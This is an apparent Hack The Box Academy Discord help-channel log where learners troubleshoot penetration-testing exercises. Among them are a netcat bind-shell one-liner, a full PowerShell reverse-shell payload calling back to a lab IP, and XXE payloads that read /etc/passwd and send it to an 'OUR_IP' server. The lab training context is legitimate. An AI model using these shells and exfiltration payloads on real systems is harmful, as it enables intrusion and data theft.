Section: Local File Disclosure
Link to section: https://academy.hackthebox.com/module/134/section/1204

What trick are they referring to here?

or attempt to utilize a hash stealing trick in Windows-based web applications, by making a call to our server.

[soft reef]

guys so I'm on module windows evasion and to check on my own pc I forwarded port 8888 and listened with nc, suddenly I get an unknown IP connecting to me. Coincidence or a problem?

[untold mortar]

what are the steps to SSH?

[normal sand]

The basic command is as follows:

ssh username@ip_address

It'll then prompt you for the password. If you need to specify the private key, use the -i option.

[untold mortar]

Thanks sooo much. i am really new to Linu

[normal sand]

No worries. We've all been there.
Tip: check the man page for a tool/command or options like --help or -h.

[misty current]

They are probably referring to capturing the NTLM hashes. Which is why they say Windows-Based application.

[normal sand]

But doing so with a call to the server? I don't believe that's been discussed so far in the CPTS path?

Also, it says "windows-based web application," so I was wondering if that had something to do with something from the browser?

[misty current]

https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/unc/ Here's something to read about but I've only done this on Network engagements where you upload it to the share. But, it says Windows Based web application, so the trick isn't far from proabably uploading the same thing to a web application hosted on windows.

But, tbh, it's a guess from me. That's what I can think of. Hope someone with more clarity can clear this up more

[normal sand]

I see. Thanks for sharing. It's an interesting attack regardless.

[fathom pendant]

Basically setting up a server for the victim machine to execute the payload and call back to

In windows, generally, when a machine attempts to access resources, it sends along its ntlmv2 hash

Or well, the user in-context

It's similar to how you may use xp..dirtree to capture a hash with responder

[gray yacht]

Are you still stuck?

[fathom pendant]

An account you compromised may have admin access

Don't overcomplicate things

[gray yacht]

After you've tried some things, if you are still stuck you can DM.

[normal sand]

So... would the server we setup have to be an SMB server? Either ways, I don't really get why they mention it when all they've discussed at that point is information disclosure. They're just beginning to discuss RCE, and executing a command like connecting to server (callback), is RCE.

Or am I missing something? 🤔

[fathom pendant]

Well yes

But that's just referring to in context of windows

[fathom pendant]

Indeed lfi might lead to rce

[versed raptor]

Hey all. It's been a while. Possibly dumb question here.
I used sudo -l to see what commands I can run as my current user. The response was I can run a script called user2
How do I run that? like what is the syntax?

[dim wolf]

you are allowed to run /path/to/file as (user : group)

[versed raptor]

Okay, how do I do it "as" user : group

like (user2:user2) /bin/bash?

[dim wolf]

using sudo

[versed raptor]

okay. I think I did it, but it says the user2 command isn't found. Dod I need ot do user2:user2?

[dim wolf]

sudo user2 bash tries to run some file called user2

check your syntax, and check the section regarding sudo (i believe it's the Privilege Escalation section)

[versed raptor]

kk

[swift carbon]

is there any point in reaching out to support about a module target not responding or should i wait til status is green again? https://status.hackthebox.com/

[versed raptor]

Got it! It totally was up in the text wall of China above it. thanks! @dim wolf ❤️

[fathom pendant]

this is why you take notes, silly protoss

(this message was endorsed by the Zerg Hivemind)

[glacial lava]

Anyone able to assist with Web Fuzzing Virtual Host and Subdomain Fuzzing? I am unable to find the "su" suffixed subdomain

[hard matrix]

tbh i just switch vpn regions

[fathom pendant]

what is your fuzz syntax

[hard matrix]

IIRC try using different wordlists in /seclists/DNS

[glacial lava]

DM'd

[hard matrix]

and yeah use HOST header FUZZ.inlanefreight.htb with ffuf for vhost enumeration

[glacial lava]

My issue is they say to use the subdomain 5000 one

[hard matrix]

which module you on?
i did this a few weeks ago maybe, but i remember needing to use fierce wlist for one of the vhosts

[fathom pendant]

this is the web fuzzing module

the one slated to replace the ffuf module in the cbbh path

[viral snow]

I'm in Password Attacks-Passwd, Shadow & Opasswd

I already moved passwd.bak and shadow.bak from Will, over to my machine.

I unshadowed both .baks

Now I can't get hascat or john to work.

Any help, please?

[hard matrix]

use hashcat locally from kali

[swift carbon]

thanks this fixed it!

[viral snow]

Yes, that's what I did, as demonstrated in the module

[hard matrix]

what do you mean you can't get hashcat or john to work

[fathom pendant]

^

is hashcat exhausting?

is it telling you "Token Exception"

[pine dune]

Hi guys I am on the shell modules and I am having a little trouble on the bind shell part

here is the question

[fathom pendant]

what's giving you trouble?

[pine dune]

SSH to the target, create a bind shell, then use netcat to connect to the target using the bind shell you set up. When you have completed the exercise, submit the contents of the flag.txt file located at /customscripts.

[hard matrix]

refer to cheatsheet

[fathom pendant]

repeating the question isn't helpful for us helping you

it helps us help you if you say what you tried

[pine dune]

i managed to get a bind shell but when i type commands its just copying commands between the two shells

[viral snow]

Nein! It's telling me No Hashes loaded.

I did:
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes mut_password.list

[fathom pendant]

that's how nc works

but are you saying that it's not executing commands?

[hard matrix]

check format of unshadowed.hashes

[pine dune]

i am trying to cd to custom scrips but nothing happens

yeah not executing commands

[fathom pendant]

ok

did you do the shell as described in the section

[pine dune]

yeah so what I did was I did nc -lvnp 7777 on the target host

and then i connected to it from my home shell

[fathom pendant]

that's just telling it to listen, you're not piping any i/o to a shell command

[viral snow]

I forgot to mention I added -o /tmp/unshadowed.cracked

Basically I used the same one disclosed in the module

[pine dune]

so what do I do going forward?

because it did connect (listen) but when I try execute commands nothing happens

[fathom pendant]

again

that's because you're not doing any piping

read the subsection titled "Establishing a Bind shell with Netcat"

[pine dune]

what exactly is piping 😅

ok let me read that again

[fathom pendant]

stuff like | 2&>1...

[hard matrix]

sorry, i'm not following -
No Hashes loaded. means that for the module you've specified with hashcat, it doesn't recognize the format of the hash you're trying to crack.

[fathom pendant]

piping in simple terms refers to redirecting i/o to another command

[hard matrix]

so you should probably make sure that the 'unshadowed' hash you're trying to crack with the module is in the correct format

[fathom pendant]

such as

cat file | grep "word"

[fathom pendant]

from what I recall this section has been a bit silly with trying to load the list

https://www.gnu.org/software/bash/manual/html_node/Redirections.html @pine dune

[glacial lava]

trying fierce now, thank you

[fathom pendant]

you can try just loading the root line into its own file and cracking it

[hard matrix]

yep you helped a few weeks ago with it
#modules message

[fathom pendant]

this is the web fuzzing module yeah? fierce wordlist isn't required

practically every DNS wordlist used is a subdomains-top1million-*.txt

[glacial lava]

Its is the Web Fuzz Module yes,

[fathom pendant]

literally ran it on my computer JUST NOW and got the su...inlanefreight.com subdomain

[pine dune]

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l ip 7777 > /tmp/f

i put this command in my terminal but nothing happened

the ip is of the target

[hard matrix]

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

this is whats given in resources for bind shell

you're giving ip, instead of an actual ip

[hard matrix]

think about what you're doing with a bind shell

it sounds like you're running this locally instead of on the machine you're intended to SSH into

[pine dune]

yeah I did that to protect my privacy 😅 I did in fact put the real ip

but yeah I managed to figure it out

thanks guys @hard matrix @fathom pendant

[fathom pendant]

np

good luck

[glacial lava]

Found answer

[versed raptor]

Keep your goop to yourself! I just got through the second part as well. I'm a hackin' master! Ignite your psi blades and begin to hack!

[plucky hollow]

Regarding this I don't understand why the email field shouldn't be tested, couldn't the conditions simply be bypassed so that they are commented or something? Tip: We will notice that the email must match an email format, even if we try manipulating the HTTP request parameters, as it seems to be validated on both the front-end and the back-end. Hence, the email field is not vulnerable, and we can skip testing it. Likewise, we may skip the password field, as passwords are usually hashed and not usually shown in cleartext. This helps us in reducing the number of potentially vulnerable input fields we need to test.

Likewise with the password

[dim wolf]

if there is adequate input validation and sanitization, it's a parameter you can't really test because your input will be sanitized

[fathom pendant]

^

and likewise for the password field if it's masked

[plucky hollow]

but there are possibilities to be able to bypass it as well

[fathom pendant]

yes but for the sake of simplicity

let's assume that there's proper input sanitization on the backend that would not allow it

[dim wolf]

if it's inadequate, you can bypass it. but most email parameters i've tested have adequate validation and sanitization

and, of course, you don't want to waste your time on something like that when there are possibly other vulnerabilities on the web app

[fathom pendant]

^

don't narrow your focus when the vuln could be the next parameter down

[plucky hollow]

I was thinking of some more sophisticated bypass but I guess ignoring those fields is fine for now, thanks

[dim wolf]

there is an advanced XSS + CSRF module, maybe it has some bypasses

but i doubt it

[fathom pendant]

1. do you have permission to do on your friends server
2. it depends
3. read #rules and #welcome

if the answer to 1 is no: it's illegal, point blank

[real delta]

that's illegal and against discord TOS

[fathom pendant]

if you're referring to hacking a discord server to give roles, that's extra illegal

[stable fossil]

yes and the roles are open

but idk how to give me it

[fathom pendant]

skill issue

but HTB does not teach how to hack discord

[real delta]

<@&861185840277487616>

[fathom pendant]

this channel is specifically regarding getting help with HTB academy modules

[real delta]

@stable fossil bye bye

[fathom pendant]

not helping skids hack discord servers

[stable fossil]

bro its my friend

[fathom pendant]

don't care

this server is not about hacking discord servers. Period

end of discussion

do not pass go

do not collect $200

[stable fossil]

im albanian

[fathom pendant]

https://tenor.com/view/jail-right-to-jail-right-away-parks-and-recreation-parks-and-rec-gif-16177531

[fathom pendant]

ok and?

[stable fossil]

k

[fathom pendant]

Discord is a US based company

[stable fossil]

we dont have dollores

[fathom pendant]

really... that's the thing you're stuck on?

when my whole point is: Stop Asking

[stable fossil]

thats not sigma

[fathom pendant]

neither is hacking a discord server my guy

if you wanna learn go ask google for tips and tricks, surely that will go well

but this server is not about hacking other discord servers, which is against Discord ToS

[west rampart]

don't be rude, thank you

[fathom pendant]

hi Mick

https://tenor.com/view/wallace-wensleydale-hammer-gif-20832217

[cold dome]

I'm currently doing "Web Attacks - Advanced file Disclosure" module. Can you tell me why it is not showing the proper response as seen on the module?

I did this to create the file:

Kojin@htb[/htb]$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
Kojin@htb[/htb]$ python3 -m http.server 8000

Here's my other syntax:

<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://10.10.16.8:8000/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>

I even applied:

<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->

I can't seem to get the expected output as seen in the module.

[fathom pendant]

try other methods from that section

not just CDATA

[alpine trench]

Hi mates, if i have a question about 'SEA', can i ask here? i really don't get the xxs,js triggered

[dim wolf]

#1271890150863143096

[fathom pendant]

#1271890150863143096 read and follow #welcome to access

[alpine trench]

no access

[fathom pendant]

see literally the message above this

read and follow #welcome to access

[alpine trench]

[vague tundra]

Imagine being the guy who developed Tomcat

[fathom pendant]

i mean it's mostly because if you have admin panel access to tomcat, or cgi access

it's gg

with tomcat manager/admin panel access -> upload .war file and it's gg no-re

[dim wolf]

No

[chrome ibex]

Crazy

[buoyant merlin]

Question, in the ssh pivitoing with Sshuttle, what is the username we use to get access to the linux pivot machine?

[vague tundra]

isn't it the case for wordpress, joomla, and drupal too? Admin access

[plucky hollow]

typical, <excuse> - <ask about something illegal>

[dim wolf]

it's pretty much for all applications meant to be run internally

[vague tundra]

I mean these apps are accessible to anyone

[dim wolf]

yes but tomcat is meant to be internally facing, not externally facing

that's why it's so easy to pwn

[buoyant merlin]

Will it be ubuntu? hour htb academy username? I really appreciate the help!

our*

[vague tundra]

cool

[fathom pendant]

ye

most of the time it's weakly configured due to it being internal

so most people assume "eh it's internal, no way they'll find it"

[rare sky]

guys anyone that can explain me how to find possible suffix/prefix in a real world scenario in sql injection, please?

[dim wolf]

easy if it's whitebox since you have access to source code

if blackbox, you need to determine how the SQL query is structured

[hard matrix]

burpsuite intruder and sqli wordlist

unless you have a more specific question

[rare sky]

and the error log of sqlmap of the payload can help me in that?

[dim wolf]

not familiar with the error log so i can't say

[rare sky]

but it's more general, no?

[hard matrix]

whats more general?

[rare sky]

ah ok thanks, because i thought that for example, if i see a syntax error, i could infer how the query is structured

[dim wolf]

if you have access to error output, you can probably figure it out

[hard matrix]

yeah i mean once you get a specific response you know you've broken the sql query and from there you exploit it right
tbh most of the time i just spray the user controlled input with a sqli wordlist

[dim wolf]

but if there isn't any error output, it's a lot more difficult

[hard matrix]

right

[rare sky]

ok thanks, so it's more difficult to predict these things if we are on a blackbox testing, right?

[dim wolf]

that's illegal

[hard matrix]

[rare sky]

i would say, if i don't have the source code, and no error output, it's more difficult to infer the structure of query

[fathom pendant]

Yup

[hard matrix]

oh yeah that's very true

it might be something you'd table until you couldnt find anything else
and have some degree of confidence its the right path to go down

[fathom pendant]

But thankfully people have done a lot of the hard work for you

Like PayloadAllTheThings

[hard matrix]

referring to the sqli payload wordlists?

[fathom pendant]

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL Injection

[hard matrix]

yep

[rare sky]

but this types of payloads, are not alredy included in sqlmap?

[umbral spade]

Will the spawning machines ever be fixed?

I've had this happen a few times when doing modules

[fathom pendant]

It's a handy cheatsheet

[rare sky]

ah ok thanks so much @fathom pendant @hard matrix @dim wolf

[hard matrix]

its good to do manual enum too if your automated stuff doesn't pan out

[rare sky]

okok thanks, however its a methodology that requires a lot of time. So i can think that i can test it as last resort

[rustic sage]

where can i find the first hacking module at? im new

[cold dome]

I'm currently doing the last part of "Web Attacks - Blind Data Exfiltration" module. I noticed in this section that the suppose content of xxe.dtd file has not been mentioned? Do I have to delete the contents of the file to make it work?

It's just a thought since the content was for a different section of the module but currently I have to referenced it in this section:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>

The only file that I create for this section is this syntax:

<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>

[fathom pendant]

The dtd is given at the start of the section

[cold dome]

Is it this one?

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

[fathom pendant]

Yer

[cold dome]

I was confused, thanks for clarifying.

[fathom pendant]

During the xxe sections I named the separate DTDs according to the section

And adjusted accordingly

[cold dome]

That's a helpful tip. Thank you.

[marsh echo]

f**ck thick client application 2 days I've been working on it

[fathom pendant]

ah

decompiling the java and recompiling is a bitch ain't it

i heavily suggest the 'fatty' walkthrough by ippsec

as that's the box this section is lifted off of

as you can note the box is rated insane

[marsh echo]

I had to de/recompile it 5 times to finally understand that it was necessary to link the 2 operations of traversal and file download to download the server.

[fathom pendant]

yeah if you're trying to follow the reading...it SUCKS at explaining

it's why you'll have better luck following along with a writeup of the box 'fatty' as ippsec actually explains things

I think 0xdf also has a writeup for it

[marsh echo]

thanks I'll try to do it again on this box when I have time.

[fathom pendant]

but yeah

that's by far the worst section in all the modules ever, and that's not even a hot take

[marsh echo]

yeah I admit in real life when you succeed you say to yourself ah yeah cool in fact but damn the reasoning you have to have to think of decompiling the program in order to modify some functions from the source then recompile I would never have believed it was possible

[fathom pendant]

i say it's terrible because by the end you don't even feel satisfied when you figure it out/get to the end

you're just "thank god that's over"

like the LEAST satisfying section

[marsh echo]

I laughed out loud ahahahah, I swear I thanked him 10 times.

[fathom pendant]

IMO the instructions in the section are WAY too fast-paced

[marsh echo]

yeah should do something more detailed for noobs as me it would avoid to spend 2 days on it

but well it’s just a bad nightmare we go ahead ahah

[fathom pendant]

https://tenor.com/view/it-seems-the-worst-is-over-the-bad-is-in-the-past-peter-hermann-charles-brooks-younger-gif-14726529

[marsh echo]

https://tenor.com/view/denzel-washington-my-heart-omg-beautiful-relieved-gif-18461646

[fading cipher]

I've had ffuf running for like 1.5 hours on intro to web, subdomain bruteforcing

Is there a specific word list they want?

[fathom pendant]

It shouldn't take 1.5 hours

That should've been your first hint something was wrong

[hard matrix]

that's probably a little too long for a bruteforce
someone mentioned earlier to use the top-x-million 3 wordlists in seclists

also make sure you increase threads

[fathom pendant]

Yep

Also with ffuf for subdomains against a private (10.129.x.x) target you need to use -H "Host: FUZZ.domain.htb"

As well as targets that may not be running DNS

[fading cipher]

Well tbf I just walked away for a bit LOL

[fading cipher]

This just has the inlandfright.com which is a public address

[fathom pendant]

Turn off your vpn see if that fixes

Sometimes it's dumb

[fading cipher]

Okay ill give that a try

Yeah it never got through the list to begin with cause it's been so slow

HTB operates a good bit different from offsec so been a bit jarring

[kindred wolf]

Anyone know if you can buy cod points on here

[fathom pendant]

Also sometimes switching your networking mode from NAT --> bridged also fixes it

[fathom pendant]

No

You buy cod points from the cod store

Hth

[pine dune]

Hi

I'm having a bit of a problem with this reverse shell that htb supplied

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

when I run this on the target machine (with the modified IP ofc) it gives errors

[dim wolf]

what errors

[pine dune]

•                                                             ~
  

Unexpected token ')' in expression or statement.
Not all parse errors were reported. Correct the reported errors and try again.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ExpectedExpression

[dim wolf]

how are you using this reverse shell payload

[pine dune]

I am copying and pasting it into powershell

and im running it as administrator

[dim wolf]

what is the context

[pine dune]

im trying to establish a reverse shell with the victim and my machine

that is the reverse shell payload that was given to me by htb

[dim wolf]

well of course you are but that doesn't tell me anything

what module is this

section name, question, ..

[fathom pendant]

run this from cmd

not from powershell

[pine dune]

shells and payloads module (reverse shells)

[pine dune]

thank u let me try

[pine dune]

thanks it worked...could u pls explain why it worked from cmd and not powershell 😅

[dim wolf]

running in cmd or encoding the payload should work

[pine dune]

thanks, could u pls explain why

[fathom pendant]

because that's what the payload is for, cmd

[pine dune]

ahh I see

[dim wolf]

powershell handles specific characters differently than cmd

[pine dune]

ohh

[fathom pendant]

^

[pine dune]

thanks a lot guys :))

[dim wolf]

that's why i always use encoded powershell payload

[fathom pendant]

you can likely change the language in the revshells website to be for powershell specifically

but the revshells payload is from the perspective of you running the commands (by default) in cmd

[fathom pendant]

that still needs to be ran in cmd afaik

[dim wolf]

runs fine in powershell

[fathom pendant]

¯_(ツ)_/¯

[dim wolf]

last time i checked at least

[fathom pendant]

been a hot minute though since i've done that module to test

[dim wolf]

i'll test it out on my own machine real quick

[pine dune]

i am trying to get a reverse shell from my windows machine using the reverse shell payload that I pasted earlier and im trying from cmd but it gives errors again 😅

At line:1 char:485
+ ... .Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
+                                                           ~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull```

[dim wolf]

works in powershell

[fathom pendant]

hm TIL

it's just certain things that don't work cross cmd/powershell (like quotes, braces,...)

[pine dune]

u guys know why ?

[fathom pendant]

nope

something tells me though it's because it couldn't connect to your listener

so it errors out

¯_(ツ)_/¯

[pine dune]

ahh I see

im using linux on my vm and trying to connect to my normal windows

[sick trench]

Who here uses obsidian?

[hard matrix]

yea wadup

[hard matrix]

depends on networking of your vm <-> host machine

[pine dune]

me

[pine dune]

ahh I see

so its like the bridged/NAT network etc?

[fathom pendant]

some networking modes don't allow it

https://www.virtualbox.org/manual/ch06.html

[hard matrix]

yeah if you're using nat networking (default) the guest machine (vm) will have an ip address on another subnet
bridged will have an ip from on same subnet as host iirc
but i use vmware workstation, not sure what you're using

[pine dune]

ohh ok, Im using vbox

[fathom pendant]

same concept applies in most hypervisors really

[hard matrix]

really need to setup a proper homelab

[rustic sage]

It's a connection related issue

[sick trench]

I wrote script to scrape all of the modules and sections from HTBA for taking notes. (wish I did this years ago). To create an obsidian vault.
Next step is linking them and tagging. And going back through almost half of the content I have already covered to take substantial notes. Two questions. Is there an api for the academy so I don't have to keep using that beautiful soup? What do you find the best strategy for keeping your notes linked and tagged in obsidian?

[pine dune]

ahh I see thanks

[fathom pendant]

this will not be helpful tbh

[hard matrix]

my notes are a garbled spaghetti mess that i've linked along the way when i came across like-topics

[rustic sage]

You guys take notes?

[fathom pendant]

but also if you haven't paid for the module, then that's likely theft of paid content and can get you in a ton of trouble

[fathom pendant]

there's no public API

as stated earlier

you'd have to dig around and find it

[hard matrix]

don't think they're suggesting that at all - they're just grabbing the material they've already paid for

as long as they're not distributing it, i don't see the problem.

[fathom pendant]

the wording is vague

[hard matrix]

i have tons of screenshots from the module material

[fathom pendant]

didn't pay = pirating; doesn't matter if they're not distributing

if they paid for the content that's a different story

[hard matrix]

failure on htb's part if he's even able to access modules he hasn't paid cubes for

[fathom pendant]

i believe if you try and interact with an academy page you haven't paid for though it redirects you to the overview if you haven't paid for it

[pine dune]

I dont think u can scrape modules which u dont have access to

[fathom pendant]

either way

scraping them isn't really all that helpful tbh

[pine dune]

yeah, I just take my notes as is and I brush up on them in the future

[fathom pendant]

as you're not actually learning anything from scraping; just copy/paste

[sick trench]

If you have the ability to continously learn...

[fathom pendant]

but that's my 2 cents

if you want to copy/paste all the modules you own go for it

[pine dune]

I agree

[hard matrix]

vague not sure what you mean
but yeah i'd rec just taking notes along the way instead of scraping the module material
and linking notes with # and [] in obsidian when theres cross-referential topics

a lot of the topics will overlap and a good amount of my notes have built off of itself like this

[sick trench]

I think you missed my point. Sorry for that. I scraped the titles of all the modules and urls. I then did the sames for all the sections of the modules to create an obsidian to take notes.

[fathom pendant]

yeah my point still stands, you should be doing it as you go

[pine dune]

ooh makes sense

[fathom pendant]

¯_(ツ)_/¯

to keep my notes organized in order i add a numeric prefix to them

[sick trench]

Its a template for the whole academy... yes fill it in as you go.

[fathom pendant]

imo, still dumb

but if it works for you

¯_(ツ)_/¯

i don't want to populate my vault with modules I haven't touched yet

[fathom pendant]

just adds lots of clutter

[sick trench]

Sorry about the shit video. Maybe you get what I'm trying to say.

[fathom pendant]

oh no i get it

i think its stupid

but if it works for you, more power to you

I prefer to have my vault populated with modules that I've actually done

[hard matrix]

meanwhile: spaghetti

[sick trench]

I'm not saying it does.

[fathom pendant]

¯_(ツ)_/¯

again

as long as you're not breaking some TOS by scraping pages that you shouldn't have access to

more power to you

just not my cup of tea

as it can throw in a LOT of clutter for no real reason

[sick trench]

That's the funny thing. I have done quite a few. At least I think🤔

[fathom pendant]

see

that is my point in standing

now

I can see the point in creating a tool to grab what you're currently doing

that would be interesting

and populate your vault/notes

but having it grab everything even stuff you haven't done like t3/4 modules

is just overkill

[fathom pendant]

imo what you should do is scrape the tier info and actually pre-sort them into folders that way

[fading cipher]

hmm vpn off, swapped from nat to bridged still getting about 2 req a second

[fathom pendant]

I believe obsidian allows for symlinking as well

[fathom pendant]

dunno what to tell ya bud ¯_(ツ)_/¯

[fading cipher]

[fathom pendant]

you don't need recursion my guy

[fading cipher]

you actually do, but it doesnt matter because its not getting that far anyways

[fathom pendant]

you're fuzzing for domains not directory

[fathom pendant]

trust me on this one. you don't

also -e == extensions

[fading cipher]

hmm question literally says to check

yeah i trimmed some stuff out when i copy pasted

[fathom pendant]

wait

you're using a directory list to fuzz subdomains

there's a whole lotta shit not right here

[fading cipher]

usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

^ is what im using

[fathom pendant]

the question asks you to look for the su* subdomain yes?

[fading cipher]

subdomains

let me grab the actual command lol i was just posting for syntax

ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://FUZZ.inlanefreight.com -recursion-depth 5```

[fathom pendant]

again don't need recursion

[fading cipher]

sure

[fathom pendant]

but i digress at this point

[fading cipher]

thats just what ive been using, sorry to make it confusing lol

[fathom pendant]

the issue here is that something is throttling your connection

[cloud urchin]

have you tried using the commands and wordlist the module showed?

[fading cipher]

yeah I did

[cloud urchin]

well that worked for me

try that again

[fading cipher]

sure

i have an old screenshot from it here

[marsh echo]

it made me want to do all my notes again 😭

[fathom pendant]

the issue is his connection is being throttled

[hard matrix]

Fwiw the instances themselves tend to get bogged down and shitty occasionally. If you suspect the box itself is bad change vpn regions and redownload your key

[fathom pendant]

it's not a box

it's a hosted website

[fading cipher]

^

[fathom pendant]

https://www.inlanefreight.com

:P

this is why it's a completely separate issue

[fading cipher]

kinda wondering if my isp could be docking it

[fathom pendant]

and why i haven't suggested resetting the box

are you on NAT?

[fading cipher]

no

[sick trench]

Same... but I think its a good way I seal it in the brain.

[marsh echo]

to make these notes? yes, I had the same discussion yesterday with marcie and it's true that when you go back over your notes from 7 months ago, you want to restructure everything because you have a way of seeing things.

[fading cipher]

bleh w.e just grabbed it from the pwn box

lol

[marsh echo]

but 10 months to redo all my CPTS notes will take me 2 months but i'm lazy 🥲

[sick trench]

You rekindle ideas when looking over old notes.
I have a lot of notes scattered everywhere. I created that obsidian vault as a framework to put all of my notes.

[cloud urchin]

my note taking vastly improved over time, that was my motivation to make new notes

[marsh echo]

if you all say it, I think it's a good thing, so I'll do it again. 🙂

[twin panther]

Helo

[sturdy cobalt]

Hello, I from Brazil, learning a little cybersecurity I hope to learn a lot from you

[pine dune]

Hi guys

Im using this exploit from msfconsole

exploit/windows/dcerpc/ms05_017_msmq